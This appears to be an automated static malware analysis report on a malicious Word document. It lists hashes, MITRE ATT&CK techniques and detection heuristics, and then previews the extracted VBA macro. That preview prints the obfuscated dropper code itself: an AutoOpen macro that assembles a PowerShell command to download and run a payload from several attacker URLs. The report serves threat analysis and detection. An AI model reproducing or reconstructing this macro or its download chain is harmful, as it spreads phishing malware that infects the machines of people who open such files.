Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80fdd4902ee9da31…

MALICIOUS

Office (OLE)

200.5 KB Created: 2017-12-08 18:59:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: e353ac6916d2d8ee2eba69b9dbdc61be SHA-1: b04bca55233a99413c0adee16db2844381be03d7 SHA-256: 80fdd4902ee9da319ca4e5fc66fa9f5da38f33959b9ee2bf6728855ba8d94205
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro utilizes a Shell() call, indicating it's designed to download and execute a secondary payload. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports its malicious nature as a dropper for phishing lures.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 79769 bytes
SHA-256: 19665e33a716c53f9d7a97db750779029d88aaebcccc2e05a3bcc44d5737719b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iUVzrkadDBEV"
Function suCZkKH()
zLscJYuTh = UCase("fAJbXhntd" + "NfQUuKKT" + "CXGIVjYzLfRKT" + "DCYXABT" + "UVJGmiPAu") + UCase("SQRtZrnuzkcNMz" + "iMSWnKSYlClzOu" + "hLlXsDjKcjjFBi" + "HIJMIRzdGjArj" + "osYAFDRbpHquC")
RlVqrcDHVjp = Mid("o7DtHFAXPJ6wWZUF5pup45+p45blicp45+p45 p45+IM2+IM2p45+p4AJJW", 17, 39)
VSzQbHkKCf = UCase("bOoJjSfk" + "iipjwopkO" + "NiSwIWVW" + "GLGfEDzPwUUjN" + "dwXTBfBORzt") + UCase("bIRfnOvriCbDlc" + "ZqPtiAHoAkCTrm" + "tHmFcpzThFkWw" + "UUiYjbYBFOz" + "TRukuEFmIT")
zszCbPUdUzk = UCase("pDFQpwvcpClbj" + "inrLDUnoKEwf" + "fSCWOPHoDd" + "CjuMDWOdTkzC" + "fqhCBtAUK") + UCase("QKnfXMcsbJ" + "JUablnpT" + "mhQmrXhF" + "KcPsJdBPqqRqr" + "sHVWHaQFLA")
OVpFh = UCase("QQfjQHup" + "CjnzKilfhuLv" + "mWZSiFXBlCB" + "zraTtjURjH" + "THUAdjkmOLpi") + UCase("JwdpRiQd" + "ZNmLLoNriufo" + "KKFtUBQ" + "NHNQKvDfzwqE" + "hHNSUwYXhuwV")
lWUGphVWq = Mid("RsR1RXf1iR22KnVo9fYuFIM2+IM2p45GIM2+'+'IM2r'+'p45+p4IM2+IM25PPhYp45'+'+p45/Jap45+p45gp45+p45.Split(Jagp45+p45,p45+p45Jagp45+p45);ep45+p4IM2+IM25w3kar'RnnMwEbXOvLDNnz", 22, 129)
BOwIEAlHKT = UCase("mitBoAiXFRjsRK" + "ZVzzCUvMYiVBai" + "EROtXuIOCq" + "TlELOELKAuIM" + "drWVWTzDsjMPiX") + UCase("CRHuIPBKIMQQ" + "PdcwFPPjYmrir" + "aCrwkhYIjnND" + "cjNIGCJoOGQJ" + "HGiiPMRja")
UAjDbw = UCase("nTkYNON" + "MFZuAsKLivokYd" + "razFrPf" + "OvIHkubl" + "qiVBoXUDOLD") + UCase("JliKQszOJWkjsK" + "skZRDKNupIBDCf" + "cDcNEKd" + "TCdWSTwoJdYbSo" + "zowrpBOpujHujE")
PiuFjUXXFXd = UCase("Faswhiapb" + "HRWzVYpnNOa" + "vVVRwlrjvzJP" + "HHUiwXSmpf" + "ivBIBfY") + UCase("sXiWaPfpz" + "kKIGcOQVERqHv" + "pVnDjji" + "YtXAdluSQ" + "VuFUrXSnrjaH")
UaJziZoKvUj = Mid("9t1Rfwab4Cs1 (' &( Xzjp'+'sHoME[21]'+'+XzjpsHomE[34]+IM2XIM2) ((IM2(('+'p45ep45+BmZ6YuW9XE21E7NK4mhjC", 13, 68)
VVnJdoQDsnl = UCase("FoPnFPanvaq" + "sZiDjnIcZI" + "nvFMinLZS" + "iXjLiifZABQz" + "WPQfXGYbFzVb") + UCase("ACrAkAYjOBusF" + "dDYGCoN" + "wRIoTtIYaOkn" + "dhARPawIOVnS" + "vXjqSmi")
jVczOwtPXR = UCase("lbYjEccGOK" + "lOjclfalAI" + "BBVdPkvsCpRV" + "YFEpqobHkkjc" + "qCLFpHPzaXLaM") + UCase("LVIfUtwDjbkvM" + "iQQlAbttjwAK" + "nwisOdw" + "lcFOjrnVj" + "tuiUJGaZlw")
fXiDdvFCWfv = UCase("zhMNsrj" + "tIEwNIbY" + "OWVdvql" + "JXHwPvXJ" + "TVznlFbcrsPv") + UCase("zSmKiYVZErbD" + "TcKiMjpjpFYQ" + "QuADwWObYoL" + "NznHPiY" + "BmwSNjiGBJMO")
YhQlj = Mid("KZcUP7d409C8tEBpsSRLnN7MMA45+p45.comp45+p45/dAGsbp45+p45/,p45+p45hp45+p45ttpp45+p45://dec'+'oratp45+p45ivestyleinc.com/Fp45+p4568qOaq/,httpp45+p45:p45+p45//p45+p45'+'tsip45+p45mtsum.p45+p45ep45'+'+p45u'+'/3p45+cVit", 27, 184)
ImTkmJcF = UCase("oLfKoJEwj" + "RQQtoLWRjG" + "zbGPWTpbSp" + "zwwQaEuiiXAzc" + "SaVvDIBrurk") + UCase("vRpPWRjYSR" + "XkSWBXzwbikEsU" + "OjrFEEjBJds" + "AjSDMAdzK" + "lAUuvIuKNzvr")
XdDLYo = UCase("EHbYAtFpIunwYw" + "BYabAjbiviqR" + "HZObzLIrLjOlT" + "trLTohAFcjlONc" + "jpJbRhifLBM") + UCase("qppLqjlhmjPBk" + "CwfqjwfOfuEJ" + "MLLzScr" + "PnXuhbvq" + "aIrfflAUSOJcKv")
TwmOl = UCase("pQXNzHlzurEwvz" + "rBPECmkH" + "jHLIpfHd" + "VRTzwjWiHEAFd" + "LVjnuGH") + UCase("FJMdpvcH" + "jaJafttEj" + "XifGGFCAnJrN" + "hIMKkSqaBA" + "RiUifbmiKXjhZ")
ziopR = Mid("hwrS+IM2BoSEpRefeReNceIM2+IM2)[1,3]+p45xp45-jIM2+IM2OINp45p45)IM2).REPlaCE(IM2p45IMPzVGkBwIbRlIN1", 5, 79)
cQXIClzrIf = UCase("jfZWajwZ" + "bnJIwBWkXiTwS" + "jZLfANiiFr" + "NBBYPNdjw" + "sbrYQsY") + UCase("bbKOJsw" + "EwMKthSsj" + "ULHUqNTSowUGjU" + "ddPFzsJc" + "IhXoKKJ")
IwbANNkCS = UCase("GXnuozX" + "CcRSjJmtHV" + "qpblXULXICz" + "anHivCfNCRvcrN" + "sdwRQNDjM") + UCase("lQacaOTCiqf" + "iqqbIcYuzuK" + "TuMljkXD" + "zJmFkbDbZNWhRw" + "boFaLRf")
qNjaLj = UCase("ZrJOlwQAhYwH" + "qitPFoID" + "hSXorOAfFiJiUa" + "qjhnjnJ" + "DntFcHTv") + UCase("faJqrwGCACSSz" + "WDrYVGUWKXFU" + "wJXYmiU" + "tRLznbljlruFFW" + "kiwoUJQ")
nWQcwzPmaUp = Mid("pNaP8BOr]39)'+'.REPlaCE(([chAr]71+[chAr]113+[chAr]51'+'),[sTRIng
... (truncated)

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